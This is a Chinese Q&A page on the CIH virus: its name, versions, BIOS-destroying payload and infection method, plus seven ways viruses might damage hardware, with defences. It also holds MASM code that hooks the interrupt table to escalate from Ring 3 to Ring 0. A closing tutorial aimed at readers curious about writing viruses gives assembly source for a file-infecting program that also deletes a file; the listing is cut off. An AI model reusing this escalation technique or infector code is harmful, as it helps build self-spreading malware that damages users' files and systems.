雪松病毒的名称由来是？

病毒怎样才有可能破坏到硬件比如主

原来有个CIH病毒发作时不仅破坏硬盘的引导区和分区表，而且破坏计算机系统flashBIOS芯片中的系统程序，导致主板损坏，是发现的首例直接破坏计算机系统硬件的病毒。 CIH病毒的由来 CIH首先在台湾被发现,根据台北官方的报告,计算机病毒是由24岁的陈盈豪（Chen Ing-Halu）编制的,由于其名字第一个字母分别为C、I、H，所以这可能是计算机病毒名称的由来。 -------------------------------------------------------------------------------- CIH病毒的简介 它是迄今为止发现的最阴险的病毒之一。 它发...全部

  原来有个CIH病毒发作时不仅破坏硬盘的引导区和分区表，而且破坏计算机系统flashBIOS芯片中的系统程序，导致主板损坏，是发现的首例直接破坏计算机系统硬件的病毒。 CIH病毒的由来 CIH首先在台湾被发现,根据台北官方的报告,计算机病毒是由24岁的陈盈豪（Chen Ing-Halu）编制的,由于其名字第一个字母分别为C、I、H，所以这可能是计算机病毒名称的由来。
   -------------------------------------------------------------------------------- CIH病毒的简介 它是迄今为止发现的最阴险的病毒之一。
  它发作时不仅破坏硬盘的引导区和分区表，而且破坏计算机系统flashBIOS芯片中的系统程序，导致主板损坏。CIH病毒是发现的首例直接破坏计算机系统硬件的病毒。 -------------------------------------------------------------------------------- CIH病毒的发展历程 CIH病毒v1。
  0版本： 最初的V1。0版本仅仅只有656字节，其雏形显得比较简单，与普通类型的病毒在结构上并无多大的改善，其最大的"卖点"是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一， 被其感染的程序文件长度增加，此版本的CIH不具有破坏性。
   CIH病毒v1。1版本： 当其发展到v1。1版本时，病毒长度为796字节，此版本的CIH病毒具有可判断WinNT软件的功能，一旦判断用户运行的是WinNT，则不发生作用，进行自我隐藏，以避免产生错误提示信息，同时使用了更加优化的代码，以缩减其长度。
  此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的"空隙"，将自身根据需要分裂成几个部分后，分别插入到PE类可执行文件中，这样做的优点是在感染大部分WINPE类文件时， 不会导致文件长度增加。
   CIH病毒v1。2版本： 当其发展到v1。2版本时，除了改正了一些v1。1版本的缺陷之外，同时增加了破坏用户硬盘以及用户主机 BIOS程序的代码，这一改进，使其步入恶性病毒的行列，此版本的CIH病毒体长度为1003字节。
   CIH病毒v1。3版本： 原先v1。2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时，将导致此ZIP压缩包在自解压时出现： WinZip Self-Extractor header corrupt。
   Possible cause: disk or file transfer error。 的错误警告信息。v1。3版本的CIH病毒显得比较仓促，其改进点便是针对以上缺陷的，它的改进方法是：一旦判断开启的文件是WinZip类的自解压程序，则不进行感染。
  同时，此版本的CIH病毒修改了发作时间。v1。3 版本的CIH病毒长度为1010字节。 CIH病毒v1。4版本： 此版本的CIH病毒改进上上几个版本中的缺陷，不感染ZIP 自解压包文件，同时修改了发作日期及病毒中的版权信息(版本信息被更改为："CIH v1。
  4 TATUNG"，在以前版本中的相关信息为"CIH v1。x TTIT")，此版本的长度为1019字节。 从上面的说明中，我们可以看出，实际上，在CIH的相关版本中，只有v1。2、v1。3、v1。
  4这3 个版本的病毒具有实际的破坏性，其中v1。2版本的CIH病毒发作日期为每年的4月26日，这也就是当前最流行的病毒版本，v1。3 版本的发作日期为每年的6月26日，而CIH v1。4版本的发作日期则被修改为每月的26日，这一改变大大缩短了发作期限，增加了其的破坏性。
   -------------------------------------------------------------------------------- CIH的特征和行踪 来自权威部门的消息说，CIH是一个纯粹的Windows95/98病毒，这个病毒很独特地使用了 WindowsVxD（虚拟设备驱动程序）技术；该病毒发作时，硬盘一直转个不停，所有数据都被破坏，硬盘分区信息也将丢失；再有就是 CIH病毒发作时也可能会破坏某些类型的主板上的电可改写只读存储器（E2PROM）的BIOS。
  BIOS即电脑中的"基本输入/输出系统"， 存放的是系统最基本的硬件参数和驱动程序，一旦被破坏则系统根本无法启动，唯一的修复途径就是送回厂家重新烧入BIOS。此时如果用户不想送回厂家"重烧"，而使用BIOS升级软件重新烧入BIOS，升级软件将报告"E2PROM型号不对"的错误。
  这就是说， CIH病毒已具备了对硬件的相当破坏能力，它可以彻底摧毁计算机。 一般用户都知道，传统意义上的病毒破坏的是数据而非硬件。因此，经常进行数据备份与软件更新，能够一定程度上防止数据文件被病毒破坏，而且即使文件被传染病毒，也可使用反病毒软件加以清除，至少可以尽最大可能恢复系统。
  防病毒专家认为，威胁到计算机硬件的 CIH的出现，意味着病毒与反病毒的技术较量已开始发生质的改变。 "根据初步跟踪分析，CIH病毒是从海外传入内地的"北京冠群金辰软件有限公司反病毒专家王铁肩介绍说： "目前该病毒的传播主要通过互联网和电子邮件，当然随着时间的推移，其传播主要还是通过软盘或光盘。
  "据权威病毒搜集网获得的信息， CIH病毒"原体"加"变种"一共有五种，它们的相互区别在于"原体"会使受感染文件增长，但不具破坏力；而"变种"不增长受感染文件，但有很强的破坏性，它们的发作时间分别为 4月26日、 6月26日和每月的26日。
   -------------------------------------------------------------------------------- CIH 病毒原理的应用--物理内存的读写 Windows 95/98应用程序无法直接读写物理内存，如果使用VxD编程，可以调用VMM功能_MapPhysToLinear 将物理地址映射到线性地址再进行修改，但是这样就必须单独写一个VxD，比较麻烦，那么能不能在应用程序中直接调用VMM功能呢？一般不能，因为VMM功能要在Ring 0上调用，而一般的应用程序工作在Ring 3上，那么为什么CIH 病毒能够调用VMM功能呢，CIH病毒使用了一种技术，采用Intel处理器的中断从Ring 3转到Ring 0，我们完全可以借鉴这种技术来调用VMM功能， 下面的程序演示了如何修改物理内存--以在Windows 95加密程序中修改加密扇区大小（物理地址0000：0525H）为例： ;**************************************************************************** ;* Windows 95加密软件核心模块之一－－磁盘扇区大小修改程序 * ;* * ;* 本程序在Windows 95下修改内存物理地址0000:0525 处的磁盘扇区大小字节， * ;* 为了能够修改物理地址，本程序使用了VMM 功能_MapPhysToLinear将物理地址映射 * ;* 到线性地址进行修改。
  为了在应用程序中调用VMM 功能，本程序使用了CIH 病毒的 * ;* 原理，使用中断将系统由Ring 3转到Ring 0，然后调用VMM 功能。 * ;* 本程序中的过程ChangeSectorSize在VC中的原型可以写成： * ;* * ;* void _stdcall ChangeSectorSize(BYTE SectorSize); * ;**************************************************************************** 。
  386p 。model flat,stdcall ;修改的中断号，如果本中断号改成3则可以防止Soft-ICE跟踪！ HookExceptionNo EQU 05h 。data IDTR_1 db 6 dup(0) ;保存中断描述符表寄存器 OldExceptionHook dd 0 ;保存原先的中断入口地址 。
  code ;修改扇区大小过程 ChangeSectorSize PROC SectorSize:BYTE push eax ;获取修改的中断的中断描述符（中断门）地址 sidt IDTR_1 mov eax,dword ptr IDTR_1+02h add eax,HookExceptionNo*08h+04h cli ;保存原先的中断入口地址 push ecx mov ecx,dword ptr [eax] mov cx,word ptr [eax-04h] mov dword ptr OldExceptionHook,ecx pop ecx ;设置修改的中断入口地址为新的中断处理程序入口地址 push ebx lea ebx,NewExceptionHook mov word ptr [eax-04h],bx shr ebx,10h mov word ptr [eax+02h],bx pop ebx ;执行中断，转到Ring 0（与CIH 病毒原理相似！） push ebx mov bl,byte ptr SectorSize ;扇区大小保存在bl寄存器中 int HookExceptionNo pop ebx ;恢复原先的中断入口地址 push ecx mov ecx,dword ptr OldExceptionHook mov word ptr [eax-04h],cx shr ecx,10h mov word ptr [eax+02h],cx pop ecx ;修改扇区大小过程结束 sti pop eax ret ChangeSectorSize ENDP ;新的中断处理程序 NewExceptionHook PROC push eax push ebx push ecx push edx push esi ;修改扇区大小 push dword ptr 00000000h ;必须为0 push dword ptr 00000001h ;字节数 push dword ptr 00000525h ;物理地址0000:0525 int 20h dd 0001006ch ;以上两条指令相当于 VMMCall _MapPhysToLinear pop esi pop esi pop esi mov byte ptr [eax],bl ;修改扇区大小 ;中断处理程序结束 pop esi pop edx pop ecx pop ebx pop eax iretd NewExceptionHook ENDP end 本过程可以被C语言调用，编译方法：ml /c /coff m。
  请用MASM 6。11以上版本编译，不需要DDK。将编译生成的OBJ文件插入VC的工程中，并在VC程序中写上函数原型说明，就可以调用了。 -------------------------------------------------------------------------------- 病毒是怎样破坏硬件的 最近，CIH病毒把大家搞得人心惶惶，掀起了不小的波澜。
  以前的各种病毒最多只能破坏硬盘数据，而CIH 却能侵入主板上的Flash BIOS，破坏其内容而使主板报废。CIH的教训告诉我们:不要轻视病毒对硬件的破坏。 很多人现在已经开始担忧:CIH越来越凶猛，同时会不会有更多的破坏硬件的病毒出现？ 其实，本人分析了一下。
  病毒破坏硬件的"手段"，不外乎有以下几种： 1。破坏显示器 众所周知，每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频；目前的14英寸彩色显示器，带宽大都有60MHz，对应的最高分辨率为1024×768@75Hz场频；15英寸彩色显示器（高档的），带宽有110MHz，对应的最高分辨率为1280×1024@85Hz场频。
  大家可以查看一下显示器的说明书，上面都有场频与最高分辨率的配合。若其中有一项超过，就会出现花屏，严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器（如把分辨率、场频改到显卡能支持的最高档等）。
  虽然新型显示器有DDC标准化与系统联络，但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏， 要立即关掉显示器的电源，重新启动后进入安全模式再找原因。 2。超外频、加电压破坏CPU、显卡、内存等 目前新型主板采用"软跳线"的越来越多,这正好给病毒以可乘之机。
  所谓"软跳线" 是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数，加高CPU电压使其过热而烧坏，或提高CPU的外频，使CPU和显卡、内存等外设超负荷工作而过热烧坏。
  这类事件的前兆就是死机。所以，如果发现机器经常死机，就要赶紧到 CMOS中看看以上参数是否有改动。可喜的是，目前很多新出的主板都有CPU温度监测功能，超温后立即降频报警，可以基本杜绝烧坏硬件的情况发生。
   3。超"显频"破坏显卡 目前很多中高档显卡如Voodoo等都可以手动改变其芯片的频率，并且改的方法更简单：在Windows 9x注册表里改。病毒改动了"显频"，显卡也就容易超负荷工作而烧坏。
  这种事件的前兆也是死机。所以，死机时也不要忽视对"显频"的检查。另外还有一种减少烧坏显卡的可能性的办法，那就是……（什么？你已经安了两个风扇了！？） 4。破坏光驱 光驱中的光头在读不到信号时就会加大激光发射功率，这样长期下去对光驱的寿命极为不利。
  有人做实验，让正常的光驱不停的读取一张划痕很多，信号较弱的光盘，28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘，结果光头读不到信号，便加大发射功率不停地读，要不了几天，光驱就要"No Disc"了。
   所以要经常注意光驱灯的闪亮情况，判断光驱是否在正常工作。 5。破坏主板、显卡的Flash BIOS 这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容，使机器不能启动。
   不过现在很多主板都有带有Flash BIOS写保护跳线，可以有效的防止CIH病毒破坏主板。但是不要忘了，很多显卡也有Flash BIOS， 说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好，这可没有什么特效药啊！ 6。
  破坏硬盘 大家都知道，分区、高级格式化对硬盘都没有什么损伤，惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒，不停的对硬盘的0磁道做低格式化（做10次最多只需用几秒钟！），0道坏了再做1道……你的硬盘容量就会一点一点（这一点好不小啊！）地被蚕食，而且0、1、2……道坏了，要想再使用该硬盘，就得在BIOS中重新设定起始磁道，再低级格式化，非常麻烦。
  其实，该病毒有一个非常简单而有效的预防方法，那就是将BIOS中的Boot Sector Virus Protection（引导区病毒写保护）设为Enable（打开）。笔者做过实验，将上述开关打开的情况下，使用各种低级格式化软件（包括BIOS中自带的）对硬盘进行低格，BIOS都会报警（报告说有程序企图重写引导区，问是否继续），按N就可以防止。
  要知道BIOS程序掌管着系统的最高控制权， 应该没有什么东西可以冲破其防线（你按Y是另外一回事）。若发现上述情况，赶紧Reset，然后进行杀毒不过，如果你是在装Win 98等操作系统或System Commander等软件时碰到该情况，就大可不必理会它，困为这些软件安装时都有要重写引导区。
  不过劝你安装这些软件时最好先把写保护关掉，否则容易出现死机现象！ 7。浪费喷墨打印机的墨水喷墨打印机的喷头特别容易堵塞，为此打印机公司特别发明了专门浪费墨水的"清洗喷头"功能，即让大量墨水冲出喷头，清除杂物。
  这项功能可以用软件控制实现，于是乎病毒便神不知鬼不觉的一次次调用该功能，而你却对打印机的呻吟声却听而不见。当你发现时，大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。
  其实，只要你常注意一下打印机上的模式灯就可以了，清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声，清洗喷头时打印头总是要来回走动几下的（为了加热）。 一口气写了7条，其实大家心里明白，破坏硬件的歪点子多着呢！本文只是想为刚从CIH阴影中爬出的朋友提个醒：成功之路千万条（当然是编病毒者的成功），打死CIH，还有后来者。
  千万要发扬各种精神， 保护你的血汗钱筑成的电脑！另外，本文中几乎每一条都有附预防办法（虽然有些看起来像废话），但这些办法也不是万能的（还要注意不能顾此失彼），以后谁的"鸡"若被新病毒搞坏了，我可不负责任哟！ CIH是使用什么方法进行感染的？ 就技巧而言，其原理主要是使用Windows的VxD(虚拟设备驱动程序)编程方法，使用这一方法的目的是获取高的CPU权限，CIH病毒使用的方法是首先使用SIDT取得IDT base address(中断描述符表基地址)，然后把IDT的INT 3的入口地址改为指向CIH自己的INT3程序入口部分，再利用自己产生一个INT 3指令运行至此CIH自身的INT 3入口程序 出，这样CIH病毒就可以获得最高级别的权限(即权限0)，接着病毒将检查DR0寄存器的值是否为0，用以判断先前是否有CIH病毒已经驻留。
  如DR0的值不为0，则表示CIH病毒程式已驻留，则此CIH副本将恢复原先的INT 3入口，然后正常退出(这一特点也可以被我们利用来欺骗CIH程序，以防止它驻留在内存中，但是应当防止其可能的后继派生版本)。
  如果判断DR0值为0，则CIH病毒将尝试进行驻留，其首先将当前EBX寄存器的值赋给DR0寄存器，以生成驻留标记，然后调用INT 20中断，使用VxD call Page Allocate系统调用，要求分配Windows系统内存(system memory)，Windows系统内存地址范围为C0000000h～FFFFFFFFh，它是用来存放所有的虚拟驱动程序的内存区域， 如果程序想长期驻留在内存中，则必须申请到此区段内的内存，即申请到影射地址空间在C0000000h以上的内存。
   如果内存申请成功，则接着将从被感染文件中将原先分成多段的病毒代码收集起来，并进行组合后放到申请到 的内存空间中，完成组合、放置过程后，CIH病毒将再次调用INT 3中断进入CIH病毒体的INT 3入口程序，接着调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序，用来在文件系统处理函数中挂接钩子，以截取 文件调用的操作，接着修改IFSMgr_InstallFileSystemApiHook的入口，这样就完成了挂接钩子的工作，同时Windows默认的IFSMgr_Ring0_FileIO(InstallableFileSystemManager，IFSMgr)。
  服务程序的入口地址将被保留，以便于CIH病毒调用，这样，一旦出现要求开启文件的调用，则CIH将在第一时间截获此文件，并判断此文件是否为PE格式的可执行文件，如果是，则感染，如果不是，则放过去，将调用转接给正常的Windows IFSMgr_IO服务程序。
  CIH 不会重复多次地感染PE格式文件，同时可执行文件的只读属性是否有效，不影响感染过程，感染文件后，文件的日期与时间信息将保持不变。对于绝大多数的PE程序，其被感染后，程序的长度也将保持不变，CIH 将会把自身分成多段，插入到程序的空域中。
  完成驻留工作后的CIH病毒将把原先的IDT中断表中的INT 3入口恢复成原样。 病毒的编写是一种高深技术，真正的病毒一般都具有：传染性、隐藏性（又称潜伏性）、破坏性。现在的病毒种类也不少，如平常的传染可执行文件的病毒、宏病毒等等。
  但原始的、破坏性最大的病毒还是传染可执行文件的病毒（像CIH病毒），而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往，但是往往又因为汇编语言的难学等问题望而却步。 这篇文章就是教给大家如何制作一个简单的程序，这个程序虽然算不上病毒但是具有病毒的传染性，而往往病毒的传染性是平常人最难做到的。
   好啦，现在转入正题，先讲讲病毒是如何传染的，传染后又如何在被染的文件中执行的，其实道理非常简单：病毒一般将其代码写入执行文件的尾部，然后使执行文件在执行时先执行文件尾部的病毒代码，然后再跳回原代码处执行。
  现在举一个试例进行说明： ;----------------------------------------- ;功能：感染当前文件夹的 文件 ; 并删除当前文件夹的del。
  txt文件 ; 显示预设的字符串 CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处 vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart。收起